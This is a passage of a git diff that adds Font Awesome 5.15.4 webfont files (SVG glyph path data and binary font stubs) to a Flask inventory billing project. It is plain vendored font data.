-205.06h1.20996l77 203.529c3.42188 8.7627 11.9502 14.9775 21.9189 14.9775c12.9805 0 23.5195 -10.5391 23.5195 -23.5195 +c0 -2.33398 -0.353516 -4.59863 -0.988281 -6.72754l-109.6 -273.391c-18.5498 -47.2197 -37.1201 -79.5596 -93.29 -79.5596c-0.185547 -0.000976562 -0.371094 -0.000976562 -0.556641 -0.000976562c-7.9707 0 -15.6465 0.666016 -23.2539 1.95117 +c-8.90723 2.55371 -15.4336 10.7646 -15.4336 20.4883c0 11.7607 9.54883 21.3096 21.3105 21.3096c0.349609 0 0.677734 -0.0117188 1.02344 -0.0283203c0.660156 -0.0595703 10.9102 -0.660156 13.8604 -0.660156c30.4697 0 43.7393 18.9404 58.0693 59.4102z" /> + <glyph glyph-name="git-alt" unicode="" +d="M439.55 211.95c5.22266 -5.22363 8.45508 -12.4463 8.45508 -20.4092s-3.23242 -15.1768 -8.45508 -20.4014l-194.689 -194.689c-5.22363 -5.21973 -12.4443 -8.4502 -20.4043 -8.4502c-7.96094 0 -15.1729 3.23047 -20.3965 8.4502l-195.609 195.6 +c-5.22266 5.22363 -8.45508 12.4463 -8.45508 20.4092s3.23242 15.1768 8.45508 20.4014l134.12 134.14l50.79 -50.8496c-5.95996 -14.2607 -2.16016 -36.4902 18.6396 -45v-123c-22.3203 -9.09082 -28.8203 -38.4004 -11.25 -56 +c6.21582 -6.21191 14.8066 -10.0557 24.2803 -10.0557c9.47266 0 18.0547 3.84375 24.2695 10.0557c13.1807 13.1494 16.2197 42.46 -9.08008 55v121.85l46.3506 -46.29c-14.21 -34.4697 29.5098 -63.8301 56 -37.3398c25.71 25.6895 -1.24023 68.4902 -35.4707 56.6895 +l-49.6592 49.6602c9.29004 26.9102 -16.3301 52.8203 -43.3906 43.6807l-51.5195 51.5195l40.6602 40.6299c5.22461 5.2207 12.4463 8.45117 20.4082 8.45117c7.96289 0 15.1768 -3.23047 20.4014 -8.45117z" /> + <glyph glyph-name="stackpath" unicode="" +d="M244.6 215.6c0 -8.5 -4.25977 -20.4893 -21.3398 -20.4893h-19.6094v41.4697h19.6094c17.1299 0 21.3398 -12.3604 21.3398 -20.9805zM448 416v-448h-448v448h448zM151.3 160.16c0 21.2402 -12.1201 34.54 -46.7197 44.8496c-20.5703 7.41016 -26 10.9102 -26 18.6299 +c0 7.7207 7 14.6104 20.4102 14.6104c14.0898 0 20.79 -8.4502 20.79 -18.3496h30.7002l0.189453 0.569336c0.5 19.5703 -15.0596 41.6504 -51.1201 41.6504c-23.3701 0 -52.5498 -10.75 -52.5498 -38.29c0 -19.4004 9.25 -31.29 50.7402 -44.3701 +c17.2598 -6.15039 21.9102 -10.4004 21.9102 -19.4795c0 -15.2002 -19.1309 -14.2305 -19.4707 -14.2305c-20.3994 0 -25.6494 9.09961 -25.6494 21.9004h-30.7998l-0.180664 -0.560547c-0.679688 -31.3203 28.3799 -45.2197 56.6299 -45.2197 +c29.9805 0 51.1201 13.5498 51.1201 38.29zM276.68 215.79c0 25.2998 -18.4297 45.46 -53.4199 45.46h-51.7793v-138.18h32.1699v47.3594h19.6094c30.25 0 53.4199 15.9502 53.4199 45.3604zM297.94 123l49.0596 138.22h-31.0898l-47.9102 -138.22h29.9404zM404.46 261.22 +h-31.0898l-47.9102 -138.22h29.9404z" /> + <glyph glyph-name="cotton-bureau" unicode="" horiz-adv-x="512" +d="M474.31 117.59h25.1807c-25.7998 -109.78 -111.4 -173.59 -239.67 -173.59c-154.63 -0.339844 -247.82 92.8604 -247.82 248.18c0 154.63 93 247.82 247.82 247.82c128.399 0 214.06 -63.5098 240.18 -173.61h-25.2598 +c-24.8506 95.6104 -99.9199 148.811 -214.69 148.811c-141.85 0 -223.2 -81.3799 -223.2 -223.2c0 -137.93 76.6699 -218 211.101 -223v49.2002c0 48.1602 -26.5498 74.3896 -74.5498 74.3896c-62.1309 0 -99.4004 37.2803 -99.4004 99.4102 +c0 61.3701 36.5195 98.2803 97.3799 99.0596c30.7402 64.6504 144.24 69.3203 177.24 0c60.8496 -0.779297 97.3799 -37.6895 97.3799 -99.0596c0 -62.0098 -37.2002 -99.21 -99.2002 -99.21c-47.9795 0 -74.3896 -26.3896 -74.3896 -74.3896v-49.1602 +c107.67 3.75977 178.24 56.5 201.899 148.35zM357 265.67c3.7998 -21.0801 11.2695 -104.2 -71.79 -120.75c12.2598 -17.7402 32.9805 -27.3301 61.5898 -27.3301c47.9697 0 74.4004 26.4102 74.4004 74.4102c0 44.6699 -22.8301 70.2197 -64.2002 73.6699zM275.32 168.31 +c72.7803 9.89062 58.5 86.9102 56.2295 97c-72.5596 -10 -58.6895 -86.6592 -56.2295 -97zM260 316l-0.179688 -0.259766c-28.3008 0 -49.1602 -9.66016 -61.5703 -27.3506c28.3701 -5.44922 49.3701 -20.5898 61.5996 -43.4492 +c12.2305 22.8594 33.2305 37.9697 61.5908 43.4492c-12.4404 17.9404 -32.8301 27.6104 -61.4404 27.6104zM188.48 265.28h0.239258c-2.75 -10.0498 -16.1602 -87.1602 56.25 -97c2.41992 10.1895 16.6807 86.4297 -56.4893 97zM173.2 117.59l0.330078 0.0302734 +c28.2998 0 49 9.66992 61.1396 27.2998c-73.0303 14.2197 -78.4004 83.5498 -71.6504 120.75c-41.3594 -3.66992 -64.2197 -29.3096 -64.2197 -73.6699c0 -48.0098 26.4004 -74.4102 74.4004 -74.4102zM226.41 105.2h0.269531 +c14.4902 -7.60059 25.5605 -19.3301 33.5605 -33.8301c7.52734 14.4502 19.1924 26.1982 33.5801 33.8301c-14.4902 8.00977 -26.0508 19.0596 -33.8203 33.5498c-7.60156 -14.3262 -19.2539 -25.9658 -33.5898 -33.5498z" /> + <glyph glyph-name="buy-n-large" unicode="" horiz-adv-x="576" +d="M288 416c154.73 0 280.21 -100.32 280.21 -224s-125.479 -224 -280.21 -224s-280.21 100.32 -280.21 224s125.479 224 280.21 224zM202.61 58.8096c61.5498 0.600586 99.4697 24.3604 117.71 61.5205c-35.79 6.4502 -62.9307 37.3096 -62.9307 74.4502 +c0 41.7695 34.3408 75.6494 76.6904 75.6494c0.0117188 0 -0.0234375 -0.00292969 -0.0117188 -0.00292969c5.91797 0 11.6826 -0.666016 17.2217 -1.92676c0.623047 2.21875 1.13281 4.53516 1.5 6.84961c6.92969 44.1904 -14.8496 72.8408 -78 72.8408h-133.44 +l-77.25 -290.74zM358 240.89l-9.4502 -36.75l-15 36.75h-31.3398l-26.6299 -90.3096h37.8301l7.83008 35.6299l11.1895 -35.6299h35.4102l22.1602 90.3096h-32zM503.86 58.8096l21.1992 84.0605h-103.869l53.0498 205.36h-92.5l-21.3301 -82.3506 +c29.3799 -10.5996 50.3799 -38.4102 50.3799 -71.0596c0 -41.7803 -34.3496 -75.6504 -76.6904 -75.6504c-0.0205078 0 0.0380859 -0.00292969 0.0166016 -0.00292969c-3.90137 0 -7.73633 0.28418 -11.4863 0.833008l-15.8398 -61.1904h197.07zM211.7 178.61 +c16.1494 0 29.7002 -7.51074 24.1396 -29.8203c-5.83008 -23.4697 -21.7998 -26.6504 -37.9395 -26.6504h-24.7002l13.7998 56.4707h24.7002zM233 278c18.0703 0 32.2305 1.29004 27.5801 -17.5703c-3.83008 -15.5 -21.21 -30.1396 -39.21 -30.1396h-21.3701l11.6602 47.71 +h21.3398z" /> + <glyph glyph-name="mdb" unicode="" horiz-adv-x="576" +d="M17.3701 287.59h46.2998l42.3301 -117.33l40.7002 117.33h45.5098l12.79 -191.59h-45.5303l-4.79004 77.4297l-25.54 -77.4297h-44.71l-27.9297 79.8301l-5.58984 -79.8301h-43.9102zM298.37 287.59c0 0 93.4199 -1.58984 94.2002 -95.7998 +c0.799805 -96.5898 -94.2002 -95.79 -94.2002 -95.79h-47.9004v191.59h47.9004zM297.17 141.13c0 0 47.5996 5.21973 46.7998 51.5205c-0.799805 46.2998 -46.7998 50.5693 -46.7998 50.5693v-102.09zM535.46 215.37c0 0 33.54 -11.96 33.54 -55.1006 +c0 -68.6396 -87 -63.8496 -87 -63.8496h-45.5195v191.58h51.8994s49.7402 1.44043 55.0801 -34.3203c0.416992 -2.75586 0.595703 -5.58203 0.595703 -8.45312c0 -10.9678 -3.15039 -21.2061 -8.5957 -29.8564zM483.56 247.31v-21.5898h12s5.43066 5.33984 4 12 +c-2.42969 11.1807 -16 9.58984 -16 9.58984zM483.46 137.85c0 0 41.04 -4.92969 41.3701 20.7207c0.389648 27.1602 -41.1904 22.4297 -41.1904 22.4297h-0.0800781v-18.2305z" /> + <glyph glyph-name="orcid" unicode="" horiz-adv-x="512" +d="M294.75 259.81c58.1299 0 84.6699 -35.2598 84.6699 -76.8994c0 -25.5703 -15.5 -76.9102 -83.1201 -76.9102h-47.4697v153.81h45.9199zM256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM175.21 79.2402v207.5h-29.8398v-207.5 +h29.8398zM160.29 310.38c10.7832 0.0380859 19.5312 8.78711 19.5703 19.5703c0 10.8008 -8.76953 19.5693 -19.5703 19.5693s-19.5703 -8.76855 -19.5703 -19.5693s8.76953 -19.5703 19.5703 -19.5703zM300 79c68.3799 0 110 50.6104 110.04 103.89 +c0 49.0205 -33.71 103.851 -110.44 103.851h-80.5996v-207.74h81z" /> + <glyph glyph-name="swift" unicode="" +d="M448 291.91c0 -5.35059 -0.000976562 -10.7002 0.00878906 -16.0498v-183.771c-0.0292969 -4.50977 -0.0800781 -9.00977 -0.200195 -13.5098c-0.119141 -10.0547 -0.998047 -19.7852 -2.58984 -29.4199c-1.67969 -9.83789 -4.86914 -19.373 -9.21973 -28 +c-9.04004 -17.748 -23.3896 -32.1074 -41.1299 -41.1602c-8.62891 -4.34375 -18.1641 -7.5293 -28 -9.20996c-9.64355 -1.58594 -19.3809 -2.46387 -29.4404 -2.58984c-4.51953 -0.120117 -9.00977 -0.200195 -13.5195 -0.200195h-199.79 +c-4.52051 0.0302734 -9.02051 0.0800781 -13.5205 0.200195c-10.0576 0.120117 -19.792 0.999023 -29.4297 2.58984c-9.83691 1.67871 -19.3711 4.86523 -28 9.20996c-17.7354 9.05566 -32.083 23.4102 -41.1299 41.1504c-4.35059 8.62598 -7.54004 18.1611 -9.21973 28 +c-1.58398 9.63574 -2.45898 19.3662 -2.58008 29.4199c-0.129883 4.50977 -0.209961 9 -0.209961 13.5098v199.83c0.0292969 4.51953 0.0800781 9.00977 0.209961 13.5195c0.109375 10.0479 0.97168 19.7676 2.54004 29.4004c1.68164 9.83691 4.87109 19.3721 9.21973 28 +c4.52637 8.88477 10.3564 16.875 17.3496 23.8496c1.74023 1.7207 3.55078 3.39062 5.43066 5c5.61426 4.80176 11.7549 8.92383 18.3896 12.3203c2.2334 1.11328 4.50391 2.15332 6.81152 3.12012c6.69531 2.73145 13.8994 4.82422 21.21 6.09961 +c7.22656 1.23633 14.5557 2.01855 22.0596 2.32031c2.45996 0.120117 4.91992 0.200195 7.37012 0.269531c4.51953 0.120117 9.00977 0.200195 13.5195 0.200195h199.75c4.52051 -0.0292969 9.01074 -0.0800781 13.5205 -0.200195 +c10.0576 -0.120117 19.792 -0.998047 29.4297 -2.58984c9.83887 -1.67773 19.374 -4.86719 28 -9.21973c17.7559 -9.03711 32.1191 -23.3965 41.1602 -41.1504c4.34668 -8.62891 7.53516 -18.1631 9.21973 -28c1.58301 -9.63672 2.45801 -19.3662 2.58008 -29.4199 +c0.120117 -4.51953 0.200195 -9.00977 0.200195 -13.5195zM378.119 50.9102c4.91016 -9.58008 15.3604 41.1797 -23.1602 88.5801c0.490234 1.68945 1 3.35938 1.44043 5.08984c18.5996 74.0801 -26.79 161.67 -103.58 207.75 +c33.6494 -45.6201 48.5293 -100.87 35.3096 -149.2c-1.16797 -4.21484 -2.58105 -8.44238 -4.16016 -12.4697c-1.72949 1.14941 -3.84961 2.41992 -6.72949 4c0 0 -76.3906 47.1699 -159.181 130.59c-2.16992 2.2002 44.1504 -66.25 96.7207 -121.74 +c-24.7803 13.9004 -93.7803 64.1201 -137.48 104.12c5.58301 -9.18652 11.8184 -17.7773 18.7803 -25.8994c36.4902 -46.2207 84.0898 -103.37 141.09 -147.221c-40 -24.4902 -96.6396 -26.3994 -153 0c-13.8662 6.50977 -26.9756 14.3477 -39.1699 23.3701 +c25.1133 -39.9365 61.6025 -71.4268 105.29 -90.3701c53.3203 -22.9199 106.35 -21.3799 145.85 -0.379883l0.419922 0.25c1.77051 1 3.53027 2 5.25 3c19.0801 9.7998 56.3105 19.46 76.3105 -19.4697z" /> + <glyph glyph-name="umbraco" unicode="" horiz-adv-x="510" +d="M255.35 440c136.99 -0.169922 247.83 -111.31 247.65 -248.28c-0.179688 -136.97 -111.15 -247.67 -248 -247.67c-137 0.0703125 -248.07 111.271 -248 248.271c0.139648 136.96 111.36 247.85 248.35 247.68zM400.35 174 +c0.360352 5.24023 0.524414 10.1309 0.524414 15.4619c0 5.12988 -0.169922 10.2197 -0.503906 15.2656c-0.43457 14.9102 -1.64258 29.4004 -3.61035 43.8799c-1.87012 13.2197 -3.56934 22.3799 -5.38965 32c-1.02051 4.87988 -1.28027 6.39941 -1.83008 8.44922 +c-0.506836 2.22461 -2.49805 3.89062 -4.875 3.89062h-0.0253906h-0.819336l-32 -5c-2.37793 -0.385742 -4.20117 -2.44922 -4.20117 -4.93457c0 -0.0224609 0.000976562 -0.0439453 0.000976562 -0.0654297 +c-0.00976562 -0.128906 -0.0146484 -0.249023 -0.0146484 -0.380859c0 -0.130859 0.00488281 -0.260742 0.0146484 -0.389648l1.68945 -8.7793c1.60645 -8.86719 3.23633 -20.0938 4.88965 -33.6807c1.62695 -13.9551 2.49707 -27.7852 2.59961 -42.1494 +c0.266602 -26.9072 -2.44336 -46.834 -8.12988 -59.7803c-5.62891 -12.7627 -17.1777 -22.3076 -31.1504 -25.2305c-16.2686 -3.44336 -32.8506 -5.2627 -50.1387 -5.2627c-2.38477 0 -4.76172 0.0341797 -7.13086 0.103516h-10.25 +c-2.40625 -0.0712891 -4.53223 -0.0996094 -6.95605 -0.0996094c-17.2725 0 -34.127 1.80566 -50.3838 5.23926c-14.0283 2.86719 -25.6377 12.4033 -31.3105 25.1797c-5.60645 12.9336 -8.31641 32.877 -8.12988 59.8301 +c0.101562 14.3672 0.986328 28.2021 2.64062 42.1504c1.62012 13.6201 3.2334 24.8467 4.83984 33.6797l1.7002 8.78027c0.00976562 0.128906 0.0146484 0.249023 0.0146484 0.379883c0 0.131836 -0.00488281 0.261719 -0.0146484 0.389648 +c0 0.00488281 -0.00488281 0.00878906 -0.00488281 0.0126953c0 2.48633 -1.79297 4.55664 -4.15527 4.9873l-32 5h-0.69043c-2.37402 -0.0214844 -4.3623 -1.6748 -4.89941 -3.88965c-0.540039 -2.03027 -0.820312 -3.57031 -1.82031 -8.4502 +c-1.83008 -9.41992 -3.52051 -18.6094 -5.40039 -32c-1.95898 -14.4814 -3.16406 -28.9697 -3.59961 -43.8799c-0.351562 -5.13867 -0.530273 -9.93066 -0.530273 -15.1582s0.178711 -10.4131 0.530273 -15.5518c0.766602 -27.0928 5.43359 -48.7598 14 -65 +c8.57324 -16.2061 23.0801 -27.873 43.5195 -35c20.4404 -7.12695 48.9209 -10.6172 85.4414 -10.4697h4.59961c36.5605 -0.15332 65.0439 3.33691 85.4502 10.4707c20.4336 7.12012 34.9365 18.7871 43.5098 35.001s13.2402 37.8809 14 65.001z" /> + </font> +</defs></svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.ttf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.ttf new file mode 100644 index 00000000..2e5b9f16 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.ttf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff new file mode 100644 index 00000000..461ce2e8 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff2 b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff2 new file mode 100644 index 00000000..9a04d706 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.woff2 differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.eot b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.eot new file mode 100644 index 00000000..3ecfdac1 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.eot differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.svg new file mode 100644 index 00000000..b20e72f8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.svg @@ -0,0 +1,801 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> +<metadata> +Created by FontForge 20201107 at Wed Aug 4 12:22:50 2021 + By Robert Madole +Copyright (c) Font Awesome +</metadata> +<!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><defs> +<font id="FontAwesome5Free-Regular" horiz-adv-x="512" > + <font-face + font-family="Font Awesome 5 Free Regular" + font-weight="400" + font-stretch="normal" + units-per-em="512" + panose-1="2 0 5 3 0 0 0 0 0 0" + ascent="448" + descent="-64" + bbox="-0.0663408 -64.0662 640.004 448.1" + underline-thickness="25" + underline-position="-50" + unicode-range="U+0020-F5C8" + /> + <missing-glyph /> + <glyph glyph-name="heart" unicode="" +d="M458.4 383.7c75.2998 -63.4004 64.0996 -166.601 10.5996 -221.3l-175.4 -178.7c-10 -10.2002 -23.2998 -15.7998 -37.5996 -15.7998c-14.2002 0 -27.5996 5.69922 -37.5996 15.8994l-175.4 178.7c-53.5996 54.7002 -64.5996 157.9 10.5996 221.2 +c57.8008 48.7002 147.101 41.2998 202.4 -15c55.2998 56.2998 144.6 63.5996 202.4 15zM434.8 196.2c36.2002 36.8994 43.7998 107.7 -7.2998 150.8c-38.7002 32.5996 -98.7002 27.9004 -136.5 -10.5996l-35 -35.7002l-35 35.7002 +c-37.5996 38.2998 -97.5996 43.1992 -136.5 10.5c-51.2002 -43.1006 -43.7998 -113.5 -7.2998 -150.7l175.399 -178.7c2.40039 -2.40039 4.40039 -2.40039 6.80078 0z" /> + <glyph glyph-name="star" unicode="" horiz-adv-x="576" +d="M528.1 276.5c26.2002 -3.7998 36.7002 -36.0996 17.7002 -54.5996l-105.7 -103l25 -145.5c4.5 -26.3008 -23.1992 -45.9004 -46.3994 -33.7002l-130.7 68.7002l-130.7 -68.7002c-23.2002 -12.2998 -50.8994 7.39941 -46.3994 33.7002l25 145.5l-105.7 103 +c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2998l65.2998 132.4c11.7998 23.8994 45.7002 23.5996 57.4004 0l65.2998 -132.4zM388.6 135.7l100.601 98l-139 20.2002l-62.2002 126l-62.2002 -126l-139 -20.2002l100.601 -98l-23.7002 -138.4l124.3 65.2998 +l124.3 -65.2998z" /> + <glyph glyph-name="user" unicode="" horiz-adv-x="448" +d="M313.6 144c74.2002 0 134.4 -60.2002 134.4 -134.4v-25.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v25.5996c0 74.2002 60.2002 134.4 134.4 134.4c28.7998 0 42.5 -16 89.5996 -16s60.9004 16 89.5996 16zM400 -16v25.5996 +c0 47.6006 -38.7998 86.4004 -86.4004 86.4004c-14.6992 0 -37.8994 -16 -89.5996 -16c-51.2998 0 -75 16 -89.5996 16c-47.6006 0 -86.4004 -38.7998 -86.4004 -86.4004v-25.5996h352zM224 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144s144 -64.5 144 -144 +s-64.5 -144 -144 -144zM224 400c-52.9004 0 -96 -43.0996 -96 -96s43.0996 -96 96 -96s96 43.0996 96 96s-43.0996 96 -96 96z" /> + <glyph glyph-name="clock" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM317.8 96.4004l-84.8994 61.6992 +c-3.10059 2.30078 -4.90039 5.90039 -4.90039 9.7002v164.2c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12v-141.7l66.7998 -48.5996c5.40039 -3.90039 6.5 -11.4004 2.60059 -16.7998l-18.8008 -25.9004c-3.89941 -5.2998 -11.3994 -6.5 -16.7998 -2.59961z +" /> + <glyph glyph-name="list-alt" unicode="" +d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM458 16c3.31152 0 6 2.68848 6 6v340c0 3.31152 -2.68848 6 -6 6h-404c-3.31152 0 -6 -2.68848 -6 -6v-340 +c0 -3.31152 2.68848 -6 6 -6h404zM416 108v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM416 204v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12 +v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM416 300v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM164 288c0 -19.8818 -16.1182 -36 -36 -36 +s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36zM164 192c0 -19.8818 -16.1182 -36 -36 -36s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36zM164 96c0 -19.8818 -16.1182 -36 -36 -36s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36z" /> + <glyph glyph-name="flag" unicode="" +d="M336.174 368c35.4668 0 73.0195 12.6914 108.922 28.1797c31.6406 13.6514 66.9043 -9.65723 66.9043 -44.1162v-239.919c0 -16.1953 -8.1543 -31.3057 -21.7129 -40.1631c-26.5762 -17.3643 -70.0693 -39.9814 -128.548 -39.9814c-68.6084 0 -112.781 32 -161.913 32 +c-56.5674 0 -89.957 -11.2803 -127.826 -28.5566v-83.4434c0 -8.83691 -7.16309 -16 -16 -16h-16c-8.83691 0 -16 7.16309 -16 16v406.438c-14.3428 8.2998 -24 23.7979 -24 41.5615c0 27.5693 23.2422 49.71 51.2012 47.8965 +c22.9658 -1.49023 41.8662 -19.4717 44.4805 -42.3379c0.213867 -1.83398 0.308594 -3.65918 0.308594 -5.5498c0 -5.30273 -0.860352 -10.4053 -2.4502 -15.1768c22.418 8.68555 49.4199 15.168 80.7207 15.168c68.6084 0 112.781 -32 161.913 -32zM464 112v240 +c-31.5059 -14.6338 -84.5547 -32 -127.826 -32c-59.9111 0 -101.968 32 -161.913 32c-41.4365 0 -80.4766 -16.5879 -102.261 -32v-232c31.4473 14.5967 84.4648 24 127.826 24c59.9111 0 101.968 -32 161.913 -32c41.4365 0 80.4775 16.5879 102.261 32z" /> + <glyph glyph-name="bookmark" unicode="" horiz-adv-x="384" +d="M336 448c26.5098 0 48 -21.4902 48 -48v-464l-192 112l-192 -112v464c0 26.5098 21.4902 48 48 48h288zM336 19.5703v374.434c0 3.31348 -2.68555 5.99609 -6 5.99609h-276c-3.31152 0 -6 -2.68848 -6 -6v-374.43l144 84z" /> + <glyph glyph-name="image" unicode="" +d="M464 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416zM458 48c3.31152 0 6 2.68848 6 6v276c0 3.31152 -2.68848 6 -6 6h-404c-3.31152 0 -6 -2.68848 -6 -6v-276 +c0 -3.31152 2.68848 -6 6 -6h404zM128 296c22.0908 0 40 -17.9092 40 -40s-17.9092 -40 -40 -40s-40 17.9092 -40 40s17.9092 40 40 40zM96 96v48l39.5137 39.5146c4.6875 4.68652 12.2852 4.68652 16.9717 0l39.5146 -39.5146l119.514 119.515 +c4.6875 4.68652 12.2852 4.68652 16.9717 0l87.5146 -87.5146v-80h-320z" /> + <glyph glyph-name="edit" unicode="" horiz-adv-x="576" +d="M402.3 103.1l32 32c5 5 13.7002 1.5 13.7002 -5.69922v-145.4c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h273.5c7.09961 0 10.7002 -8.59961 5.7002 -13.7002l-32 -32c-1.5 -1.5 -3.5 -2.2998 -5.7002 -2.2998h-241.5v-352h352 +v113.5c0 2.09961 0.799805 4.09961 2.2998 5.59961zM558.9 304.9l-262.601 -262.601l-90.3994 -10c-26.2002 -2.89941 -48.5 19.2002 -45.6006 45.6006l10 90.3994l262.601 262.601c22.8994 22.8994 59.8994 22.8994 82.6992 0l43.2002 -43.2002 +c22.9004 -22.9004 22.9004 -60 0.100586 -82.7998zM460.1 274l-58.0996 58.0996l-185.8 -185.899l-7.2998 -65.2998l65.2998 7.2998zM524.9 353.7l-43.2002 43.2002c-4.10059 4.09961 -10.7998 4.09961 -14.7998 0l-30.9004 -30.9004l58.0996 -58.0996l30.9004 30.8994 +c4 4.2002 4 10.7998 -0.0996094 14.9004z" /> + <glyph glyph-name="times-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM357.8 254.2l-62.2002 -62.2002l62.2002 -62.2002 +c4.7002 -4.7002 4.7002 -12.2998 0 -17l-22.5996 -22.5996c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-62.2002 62.2002l-62.2002 -62.2002c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-22.5996 22.5996c-4.7002 4.7002 -4.7002 12.2998 0 17l62.2002 62.2002l-62.2002 62.2002 +c-4.7002 4.7002 -4.7002 12.2998 0 17l22.5996 22.5996c4.7002 4.7002 12.2998 4.7002 17 0l62.2002 -62.2002l62.2002 62.2002c4.7002 4.7002 12.2998 4.7002 17 0l22.5996 -22.5996c4.7002 -4.7002 4.7002 -12.2998 0 -17z" /> + <glyph glyph-name="check-circle" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 392c-110.549 0 -200 -89.4678 -200 -200c0 -110.549 89.4678 -200 200 -200c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200z +M396.204 261.733c4.66699 -4.70508 4.63672 -12.3037 -0.0673828 -16.9717l-172.589 -171.204c-4.70508 -4.66797 -12.3027 -4.63672 -16.9697 0.0683594l-90.7812 91.5156c-4.66797 4.70605 -4.63672 12.3047 0.0683594 16.9717l22.7188 22.5361 +c4.70508 4.66699 12.3027 4.63574 16.9697 -0.0693359l59.792 -60.2773l141.353 140.216c4.70508 4.66797 12.3027 4.6377 16.9697 -0.0673828z" /> + <glyph glyph-name="question-circle" unicode="" +d="M256 440c136.957 0 248 -111.083 248 -248c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248zM256 -8c110.569 0 200 89.4697 200 200c0 110.529 -89.5088 200 -200 200c-110.528 0 -200 -89.5049 -200 -200 +c0 -110.569 89.4678 -200 200 -200zM363.244 247.2c0 -67.0518 -72.4209 -68.084 -72.4209 -92.8633v-6.33691c0 -6.62695 -5.37305 -12 -12 -12h-45.6475c-6.62695 0 -12 5.37305 -12 12v8.65918c0 35.7451 27.1006 50.0342 47.5791 61.5156 +c17.5615 9.84473 28.3242 16.541 28.3242 29.5791c0 17.2461 -21.999 28.6934 -39.7842 28.6934c-23.1885 0 -33.8936 -10.9775 -48.9424 -29.9697c-4.05664 -5.11914 -11.46 -6.07031 -16.666 -2.12402l-27.8232 21.0986 +c-5.10742 3.87207 -6.25098 11.0654 -2.64453 16.3633c23.627 34.6934 53.7217 54.1846 100.575 54.1846c49.0713 0 101.45 -38.3037 101.45 -88.7998zM298 80c0 -23.1592 -18.8408 -42 -42 -42s-42 18.8408 -42 42s18.8408 42 42 42s42 -18.8408 42 -42z" /> + <glyph glyph-name="eye" unicode="" horiz-adv-x="576" +d="M288 304c0.114258 0 0.240234 -0.0175781 0.354492 -0.0175781c61.6543 0 111.71 -50.0557 111.71 -111.71s-50.0557 -111.71 -111.71 -111.71s-111.71 50.0557 -111.71 111.71c0 10.7422 1.51953 21.1328 4.35547 30.9678 +c7.95898 -4.52637 17.2129 -7.17188 27 -7.24023c30.9072 0 56 